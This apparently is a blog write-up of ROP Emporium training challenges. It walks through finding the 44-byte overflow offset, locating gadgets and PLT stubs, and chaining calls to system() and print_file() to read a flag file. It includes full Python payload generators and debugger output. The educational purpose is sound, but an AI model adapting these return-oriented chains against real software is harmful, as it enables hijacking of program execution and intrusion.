While attempting to solve a CTF for a job interview, I learned the basics of crafting return-oriented programming exploits. This knowledge inspired me to create a write up for a few challenges that involve ROP from ROP Emporium.

introduction to Rop

Return-oriented programming can be thought of as an advanced form of buffer overflow. The basic buffer overflow involves gaining control of the instruction pointer and then pointing it to shellcode code added to the stack. One protection against the basic buffer overflow is making the stack not executable. This protection means in the event a basic buffer overflow is attempted an exception is thrown once the instruction pointer is pointed to the shellcode on the stack. This protection does not fix the underlying problem. An attacker still has control over the instruction pointer. An attacker can still change the flow of execution of the program. An attacker cannot execute on the stack, but an attacker can still point the instruction pointer to parts of the memory that has executable permissions. The ROP exploit technique involves recycling code within the binary to cause unintended behavior. The technique is easier to understand once one looks at examples.

ret2win

I begin with the first recommended challenge ret2win. I download the binary and begin by verifying the buffer overflow exists.

python -c "print('a'*100)" | ./ret2win32

The program crashes as expected. It is now time to gain control over the instruction pointer. I used this website to generate a cyclical pattern to feed into the program. I open the program in gdb, a debugger, so that I may inspect the registers after crashing the program. I get this output.

(gdb) info registers
...
eip            0x35624134          0x35624134
...

I feed this value back into the website from earlier. I discover bytes after the 44th end up in eip. I can control of the instruction pointer. In a normal buffer overflow, this control is used to execute the shellcode placed on the stack. This action cannot be done in this situation. The stack is not executable. No code written on the stack can be executed, but we can still redirect execution elsewhere within the binary.

I begin by using the info functions function within gdb to see which functions are available within the binary. I spot a fairly interesting function called ret2win.

(gdb) info functions   
All defined functions:  
  
Non-debugging symbols:
...
0x0804862c ret2win
...

I will redirect execution to the address associated with the ret2win function. I wrote a small python program to generate the desired payload.

import struct
import sys
buf=b'\x41'*44 # padding for the first 44 bytes
buf+= struct.pack('<L',0x0804862c) # address of ret2win
buf+=b'\n'
out= bytes(buf)
sys.stdout.buffer.write(out) 

Running python3 ret2win32.py | ./ret2win32 results in the flag being outputted.

python3 ret2win32.py | ./ret2win32  
ret2win by ROP Emporium  
x86  
  
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!  
What could possibly go wrong?  
You there, may I have your input please? And don't worry about null bytes, we're using read()!  
  
> Thank you!  
Well done! Here's your flag:  
ROPE{a_placeholder_32byte_flag!}  
fish: Process 16443, './ret2win32' from job 1, 'python3 ret2win32.py | ./ret2wi…' terminated by signal SIGSEGV (Address boundary error)

split

The offset is the same as the last binary 44. The prompt for the challenge suggests there will be a need to form a short rop chain. I begin by looking at the functions available.

(gdb) info functions   
All defined functions:  
  
Non-debugging symbols:
...
0x0804860c usefulFunction
...

I look at the disassembly of the usefulFunction.

(gdb) disassemble usefulFunction  
Dump of assembler code for function usefulFunction:  
  0x0804860c <+0>:     push   %ebp  
  0x0804860d <+1>:     mov    %esp,%ebp  
  0x0804860f <+3>:     sub    $0x8,%esp  
  0x08048612 <+6>:     sub    $0xc,%esp  
  0x08048615 <+9>:     push   $0x804870e  
  0x0804861a <+14>:    call 0x80483e0 <system@plt>  
  0x0804861f <+19>:    add    $0x10,%esp  
  0x08048622 <+22>:    nop  
  0x08048623 <+23>:    leave   
  0x08048624 <+24>:    ret   
End of assembler dump.

There is a call to system(). The system function allows the program to call operating systems commands. The system function accepts a pointer to a string containing the command to be executed. This function call will be useful for reading the flag. I only need to find a location in memory to pass to the function as an argument to pass to the function. I used edb to find where in memory the string /bin/cat flag.txt existed.

Under construction

I then had everything needed to create the ROP chain.

import struct
import sys
buf=b'\x41'*44
buf+= struct.pack('<L',0x80483e0) # call to system
buf+=b'\x42'*4 # fake return address
buf+= struct.pack('<L',0x804a030) # arg 1 / location of string
buf+=b'\n'
out= bytes(buf)
sys.stdout.buffer.write(out)

Feeding this output into the vulnerable program results in the flag being outputted.

callme

The offset is once again 44. For this binary, we will attempt to call multiple functions. The challenge explicitly states which function calls and which arguments are needed. I begin by finding the address of all the functions I wish to call. This is done with the info functions command used earlier in gdb. Care is taken to use the @plt version of the function.

A trip to stack overflow and a watch of a LiveOverflow video helped me understand what the @plt meant. Plt stands for procedure linkage table. The procedure linkage table is used when the compiler dynamically links an external library. The location of the function within the dynamically linked library that needs to be called cannot be known at compile time. As a result, the location of that function in the library is resolved when the binary is executed. The @plt version of the program is a stub that eventually leads to the calling of the actual desired function.

Now I can think about how the stack should look when making multiple function calls. The ultimate goal is to make the stack look like so:

----------------------
|  etc   ...         |
----------------------
|  next function call|
----------------------
|  arg 3             |
----------------------
|  arg 2             |
----------------------
|  arg 1             |
----------------------
|  return address    |
----------------------
|  function call     |
----------------------

The return address, in this case, should be a rop gadget that pops three items off the stack. Removing the arguments from the stacks cleans up the stack so that the next function call can happen smoothly. There exist several programs that can find rop gadgets within binaries. I used ROPgadget in this situation. The command ROPgadget --binary callme32 can be used to see some possibly useful gadgets within the binary.

Gadgets information  
============================================================
...
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
...
import struct
import sys
buf=b'\x41'*44
buf+= struct.pack('<L',0x080484f0) # callme_one@plt
buf+= struct.pack('<L',0x080487f9) # gadget with 3 pops
buf+= struct.pack('<L',0xdeadbeef) # arg 1
buf+= struct.pack('<L',0xcafebabe) # arg 2
buf+= struct.pack('<L',0xd00df00d) # arg 3
buf+= struct.pack('<L',0x08048550) # callme_two@plt
buf+= struct.pack('<L',0x080487f9)
buf+= struct.pack('<L',0xdeadbeef)
buf+= struct.pack('<L',0xcafebabe)
buf+= struct.pack('<L',0xd00df00d)
buf+= struct.pack('<L',0x080484e0) # callme_three@plt
buf+= struct.pack('<L',0x080487f9)
buf+= struct.pack('<L',0xdeadbeef)
buf+= struct.pack('<L',0xcafebabe)
buf+= struct.pack('<L',0xd00df00d)
out= bytes(buf)
sys.stdout.buffer.write(out)

Running the program outputs the flag.

callme by ROP Emporium  
x86  
  
Hope you read the instructions...  
  
> Thank you!  
callme_one() called correctly  
callme_two() called correctly  
ROPE{a_placeholder_32byte_flag!}

write4

The offset is still 44.

I begin by looking at the functions.

(gdb) info functions    
All defined functions:  
  
Non-debugging symbols:  
0x0804837c  _init  
0x080483b0  pwnme@plt  
0x080483c0  __libc_start_main@plt  
0x080483d0  print_file@plt  
0x080483e0  __gmon_start__@plt  
0x080483f0  _start  
0x08048430  _dl_relocate_static_pie  
0x08048440  __x86.get_pc_thunk.bx  
0x08048450  deregister_tm_clones  
0x08048490  register_tm_clones  
0x080484d0  __do_global_dtors_aux  
0x08048500  frame_dummy  
0x08048506  main  
0x0804852a  usefulFunction  
0x08048543  usefulGadgets  
0x08048550  __libc_csu_init  
0x080485b0  __libc_csu_fini  
0x080485b4  _fini

The usefulFunction and usefulGadgets functions look interesting, so I examine them more closely.

The usefulFunction disassembly seems to contain the print_file function I need to call with the argument “flag.txt” according to the instructions in the challenge.

(gdb) disassemble usefulFunction      
Dump of assembler code for function usefulFunction:  
  0x0804852a <+0>:     push   ebp  
  0x0804852b <+1>:     mov    ebp,esp  
  0x0804852d <+3>:     sub    esp,0x8  
  0x08048530 <+6>:     sub    esp,0xc  
  0x08048533 <+9>:     push   0x80485d0  
  0x08048538 <+14>:    call   0x80483d0 <print_file@plt>  
  0x0804853d <+19>:    add    esp,0x10  
  0x08048540 <+22>:    nop  
  0x08048541 <+23>:    leave     
  0x08048542 <+24>:    ret       
End of assembler dump.

The usefulGadgets function contains one apparently useful gadget. The gadget at 0x08048543 allows me to move the contents of ebp into the memory address pointed to by the register edi.

(gdb) disassemble usefulGadgets      
Dump of assembler code for function usefulGadgets:  
  0x08048543 <+0>:     mov    DWORD PTR [edi],ebp  
  0x08048545 <+2>:     ret       
  0x08048546 <+3>:     xchg   ax,ax  
  0x08048548 <+5>:     xchg   ax,ax  
  0x0804854a <+7>:     xchg   ax,ax  
  0x0804854c <+9>:     xchg   ax,ax  
  0x0804854e <+11>:    xchg   ax,ax  
End of assembler dump.

The first order of business is finding a place within the binary that can be overwritten without breaking anything. Readelf can be used to look at the sections of the binary.

> readelf -a write432
Section Headers:  
 ...
 000004 04  WA  0   0  4  
 [20] .fini_array       FINI_ARRAY      08049f00 000f00 000004 04  WA  0   0  4  
 [21] .dynamic          DYNAMIC         08049f04 000f04 0000f8 08  WA  6   0  4  
 [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4  
 [23] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4  
 [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4  
 [25] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1  
...
Key to Flags:  
 W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  
 L (link order), O (extra OS processing required), G (group), T (TLS),  
 C (compressed), x (unknown), o (OS specific), E (exclude),  
 D (mbind), p (processor specific)

The .data section appears to be writeable. Readelf can also be used to read that section.

>readelf write432 -x .data
Hex dump of section '.data':  
 0x0804a018 00000000 00000000                   ........

It looks empty. This section is likely safe to overwrite. The address of that section is 0x0804a018. Now I need a way to write that value to the edi register. I also need the ability to write arbitrary bytes to the ebp register. I use ropper to look for more useful gadgets. I believe pop will be the most useful command. It should allow me to place values from the stack(which I control) into the needed registers.

>ropper -f write432
...
0x08048525: pop ebp; lea esp, [ecx - 4]; ret;    
0x080485ab: pop ebp; ret;    
0x080485a8: pop ebx; pop esi; pop edi; pop ebp; ret;  
0x0804839d: pop ebx; ret;    
0x08048524: pop ecx; pop ebp; lea esp, [ecx - 4]; ret; 
0x080485aa: pop edi; pop ebp; ret;    
0x080485a9: pop esi; pop edi; pop ebp; ret;
...

The most useful gadget appears to be this one: 0x080485aa: pop edi; pop ebp; ret;. I will now perform a short test run to see if I can get values into the registers.

import struct
import sys
buf=b'\x41'*44
buf+= struct.pack('<L',0x080485aa) # pop edi; pop ebp; ret;
buf+=b'BBBB' #
buf+=b'DDDD'
out= bytes(buf)
sys.stdout.buffer.write(out)

I use GDB to examine the registers after overflowing the buffer.

(gdb) info registers    
eax            0xb                 11  
ecx            0xf7f770f4          -134778636  
edx            0x1                 1  
ebx            0x41414141          1094795585  
esp            0xffffd49c          0xffffd49c  
ebp            0x44444444          0x44444444  
esi            0xffffd564          -10908  
edi            0x42424242          1111638594

The B’s wound up in the edi register while the D’s ended up in the ebp register. Now I put the actual values I want in the two registers and attempt to use the ROP gadget to move the contents of ebp to the memory address in edi.

import struct
import sys
buf=b'\x41'*44
#buf=b'\x43'*4 
buf+= struct.pack('<L',0x080485aa) # pop edi; pop ebp; ret;
buf+= struct.pack('<L',0x0804a018) # .data address 
buf+=b'flag' # half of argument to write
buf+= struct.pack('<L',0x08048543) #mov    DWORD PTR [edi],ebp
buf +=b'\n'
out= bytes(buf)
sys.stdout.buffer.write(out)

I check the memory location.

(gdb) x/3x 0x804a018  
0x804a018:      0x67616c66      0x00000000      0x00000000

It appears the value has been written to memory. I have to write the second half of the argument to memory.

import struct
import sys
buf=b'\x41'*44
#writing first half of argument to memory
buf+= struct.pack('<L',0x080485aa) # pop edi; pop ebp; ret;
buf+= struct.pack('<L',0x0804a018) # .data address
buf+=b'flag' # half of argument to write
buf+= struct.pack('<L',0x08048543) #mov    DWORD PTR [edi],ebp
#writing second half of argument to memory
buf+= struct.pack('<L',0x080485aa) # pop edi; pop ebp; ret;
buf+= struct.pack('<L',0x0804a018+4) # .data address
buf+=b'.txt' # half of argument to write
buf+= struct.pack('<L',0x08048543) #mov    DWORD PTR [edi],ebp
buf +=b'\n'
out= bytes(buf)
sys.stdout.buffer.write(out)

It appears to work.

(gdb) x/3x 0x804a018    
0x804a018:      0x67616c66      0x7478742e      0x00000000

It is now time to make the call to the print_file@plt function with the memory location where I wrote flag.txt as an argument.

import struct
import sys
buf=b'\x41'*44
#writing first half of argument to memory
buf+= struct.pack('<L',0x080485aa) # pop edi; pop ebp; ret;
buf+= struct.pack('<L',0x0804a018) # .data address
buf+=b'flag' # half of argument to write
buf+= struct.pack('<L',0x08048543) #mov    DWORD PTR [edi],ebp
#writing second half of argument to memory
buf+= struct.pack('<L',0x080485aa) # pop edi; pop ebp; ret;
buf+= struct.pack('<L',0x0804a018+4) # .data address
buf+=b'.txt' # half of argument to write
buf+= struct.pack('<L',0x08048543) #mov    DWORD PTR [edi],ebp
# function call
buf+= struct.pack('<L',0x80483d0) # <print_file@plt>
buf+= b'CCCC' # fake return address
buf+= struct.pack('<L',0x0804a018) # .data address / args 1
buf +=b'\n'
out= bytes(buf)
sys.stdout.buffer.write(out)

I run the program and get the flag.

(gdb) run < writebin    
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /home/spook2/school/notSchool/blog fodder/rop/write4/write432 < writebin  
[Thread debugging using libthread_db enabled]  
Using host libthread_db library "/usr/lib/libthread_db.so.1".  
write4 by ROP Emporium  
x86  
 
Go ahead and give me the input already!  
 
> Thank you!  
ROPE{a_placeholder_32byte_flag!}

This concludes the first batch of ROP exploit challenge write-ups for this blog. Completing these challenges was a fun way to brush up on my knowledge of assembly. I highly recommend ROP Emporium.